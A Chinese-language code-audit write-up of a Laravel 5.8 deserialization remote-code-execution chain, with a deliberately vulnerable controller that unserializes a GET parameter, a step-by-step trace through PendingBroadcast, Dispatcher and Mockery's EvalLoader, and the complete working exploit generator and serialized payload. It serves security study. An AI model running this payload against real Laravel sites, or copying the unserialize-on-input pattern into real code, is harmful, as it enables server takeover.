Laravel 5.8 RCE 分析

原帖地址 : https://xz.aliyun.com/t/6059

Laravel 代码审计

环境搭建

• composer create-project --prefer-dist laravel/laravel laravel58 安装 Laravel 5.8 并生成 laravel58 项目

• 进入项目文件夹，使用 php artisan serve 启动 web 服务

• 在 laravel58/routes/web.php 文件添加路由

  Route::get("/","\App\Http\Controllers\DemoController@demo");
  

• 在 laravel58/app/Http/Controllers/ 下添加 DemoController.php 控制器

  <?php
  namespace App\Http\Controllers;
  
  class DemoController extends Controller
  {
      public function demo()
      {
          if(isset($_GET['c'])){
              $code = $_GET['c'];
              unserialize($code);
          }
          else{
              highlight_file(__FILE__);
          }
          return "Welcome to laravel5.8";
      }
  }
  

漏洞分析

• ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61

• 从 Illuminate\Broadcasting\PendingBroadcast 类的 __destruct 方法开始的 pop 链

• Illuminate\Broadcasting\PendingBroadcast 中，$events 必须实现 Dispatcher 接口，这里选择的是 Illuminate\Bus\Dispatcher

  public function __construct(Dispatcher $events, $event)
  {
      $this->event = $event;
      $this->events = $events;
  }
  
  public function __destruct()
  {
      $this->events->dispatch($this->event);
  }
  

• Illuminate\Bus\Dispatcher 中，调用 dispatch 方法，进入 if 判断，$this->queueResolver 是在实例化 Illuminate\Bus\Dispatcher 时的一个参数，它必须有值，$command 也就是 $this->event 必须实现 ShouldQueue 接口，这里选择的就是 Illuminate\Broadcasting\BroadcastEvent

  // $command : $this->event
  public function dispatch($command)
  {
      if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
          return $this->dispatchToQueue($command);
      }
  
      return $this->dispatchNow($command);
  }
  
  public function __construct(Container $container, Closure $queueResolver = null)
  {
      $this->container = $container;
      $this->queueResolver = $queueResolver;
      $this->pipeline = new Pipeline($container);
  }
  
  protected function commandShouldBeQueued($command)
  {
      return $command instanceof ShouldQueue;
  }
  

• 到这里，构造出的 exp :

  <?php
  namespace Illuminate\Broadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          function __construct($evilCode)
          {
              $this->events = new \Illuminate\Bus\Dispatcher();
              $this->event = new BroadcastEvent($evilCode);
          }
      }
  }
  ?>
  

• 然后进入 dispatchToQueue 方法，存在 call_user_func 方法，其中的 $this->queueResolver 是可控的，这里利用的是 Mockery\Loader\EvalLoader 的 load 方法，即 $this->queueResolver 为 array(new Mockery\Loader\EvalLoader(), "load")

  public function dispatchToQueue($command)
  {
      $connection = $command->connection ?? null;
  
      $queue = call_user_func($this->queueResolver, $connection);
  
      if (! $queue instanceof Queue) {
          throw new RuntimeException('Queue resolver did not return a Queue implementation.');
      }
  
      if (method_exists($command, 'queue')) {
          return $command->queue($queue, $command);
      }
  
      return $this->pushCommandToQueue($queue, $command);
  }
  

• 这个点的意思就是

  1. $this->events 调用 dispatch 传入参数 $this->event 后
  2. 访问 $this->events 的 queueResolver 属性
  3. 调用 $this->events->commandShouldBeQueued($this->event) 方法
  4. 调用 dispatchToQueue 传入 $this->event 参数。其中的 $connection 为 $this->event->connection ，即 Illuminate\Broadcasting\BroadcastEvent 中的 $connection 属性
  5. call_user_func 将 $connection 作为参数传给 $this->queueResolver 返回的函数

• 到这里，构造出的 exp 如下，已经实现 call_user_func($this->queueResolver, $connection) 即 call_user_func($evilFunc, $evilCode) ，接下来就要寻找一个可以利用的函数，这里选择的是 Mockery\Loader\EvalLoader ，继续跟进

  <?php
  namespace Illuminate\Broadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          function __construct($evilCode)
          {
              $this->events = new \Illuminate\Bus\Dispatcher();
              $this->event = new BroadcastEvent($evilCode);
          }
      }
  
  	class BroadcastEvent {
          public $connection;
          function __construct($evilCode)
          {
              $this->connection = $evilCode;
          }
      }
  }
  
  namespace Illuminate\Bus {
      class Dispatcher {
          protected $queueResolver;
          function __construct()
          {
              $this->queueResolver = $evilFunc;
          }
      }
  }
  

• Mockery\Loader\EvalLoader 中有一个 eval 函数可以利用，这里的 $definition 是 MockDefinition 类的实例化对象，也就说明 $this->event->connection 是 MockDefinition 类的实例化对象。接下来就是绕过 if 判断。

  class EvalLoader implements Loader
  {
      public function load(MockDefinition $definition)
      {
          if (class_exists($definition->getClassName(), false)) {
              return;
          }
  
          eval("?>" . $definition->getCode());
      }
  }
  

• 跟进 Mockery\Generator\MockDefinition ，如果要绕过 if 判断，必须让 getClassName 返回一个不存在的类名，即 $this->config->getName() 返回一个不存在的类名。$config 为 Mockery\Generator\MockConfiguration 的实例化对象

  class MockDefinition
  {
      protected $config;
      protected $code;
  
      public function __construct(MockConfiguration $config, $code)
      {
          if (!$config->getName()) {
              throw new \InvalidArgumentException("MockConfiguration must contain a name");
          }
          $this->config = $config;
          $this->code = $code;
      }
  
      public function getConfig()
      {
          return $this->config;
      }
  
      public function getClassName()
      {
          return $this->config->getName();
      }
  
      public function getCode()
      {
          return $this->code;
      }
  }
  

• Mockery\Generator\MockConfiguration 中，让 getName() 返回一个不存在的类名，最终执行 eval("?>" . $definition->getCode()); 实现 RCE

  class MockConfiguration
  {
      protected $name;
  
      public function getName()
      {
          return $this->name;
      }
  }
  

• 最终的 exp ，(ph 牛的 exp ) :

  <?php
  namespace Illuminate\Broadcasting {
      class PendingBroadcast {
          protected $events;
          protected $event;
          function __construct($evilCode)
          {
              $this->events = new \Illuminate\Bus\Dispatcher();
              $this->event = new BroadcastEvent($evilCode);
          }
      }
  
  	class BroadcastEvent {
          public $connection;
          function __construct($evilCode)
          {
              $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
          }
      }
  }
  
  namespace Illuminate\Bus {
      class Dispatcher {
          protected $queueResolver;
          function __construct()
          {
              $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
          }
      }
  }
  
  namespace Mockery\Loader {
      class EvalLoader {}
  }
  namespace Mockery\Generator {
      class MockDefinition {
          protected $config;
          protected $code;
          function __construct($evilCode)
          {
              $this->code = $evilCode;
              $this->config = new MockConfiguration();
          }
      }
      class MockConfiguration {
          protected $name = 'abcdefg';
      }
  }
  
  namespace {
  	$code = "<?php phpinfo(); exit; ?>";
  	$exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
  	echo serialize($exp);
  }
  ?>
  

• 构造输出结果 :

  O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
  

一些思考

• 危险函数的寻找

  eval，call_user_func

• phpstorm + xdebug 调试代码

• PHP 序列化的时候 private 和 protected 变量会引入不可见字符 \x00，\00Test\00y 为 private，\00*\00 为 protected，注意这两个 \x00 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到，甚至导致截断，url 编码后就可以看得很清楚了。此时，为了更加方便进行反序列化 payload 的传输与显示，我们可以在序列化内容中用大写 S 表示字符串，此时这个字符串就支持将后面的字符串用 16 进制表示。

  <?php
  class Test
  {
  	public $x="peri0d";
  	private $y="peri0d";
  	protected $z="peri0d";
  }
  
  $k = new Test();
  
  echo serialize($k);
  
  // O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}
  ?>
  

• 反序列化测试代码 :

  <?php
  // 环境 : php 7.1.13 nts
  class Test
  {
  	public $x="peri0d";
  	private $y="peri0d";
  	protected $z="peri0d";
  }
  
  $n = new Test();
  var_dump(serialize($n));
  var_dump(unserialize(serialize($n))); // 成功
  
  $k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
  var_dump(unserialize($k)); // 成功
  
  $m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
  var_dump(unserialize($m)); // 失败
  
  $l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
  var_dump(unserialize($l)); // 失败
  ?>
  

参考链接

• https://xz.aliyun.com/t/5911
• https://xz.aliyun.com/t/5866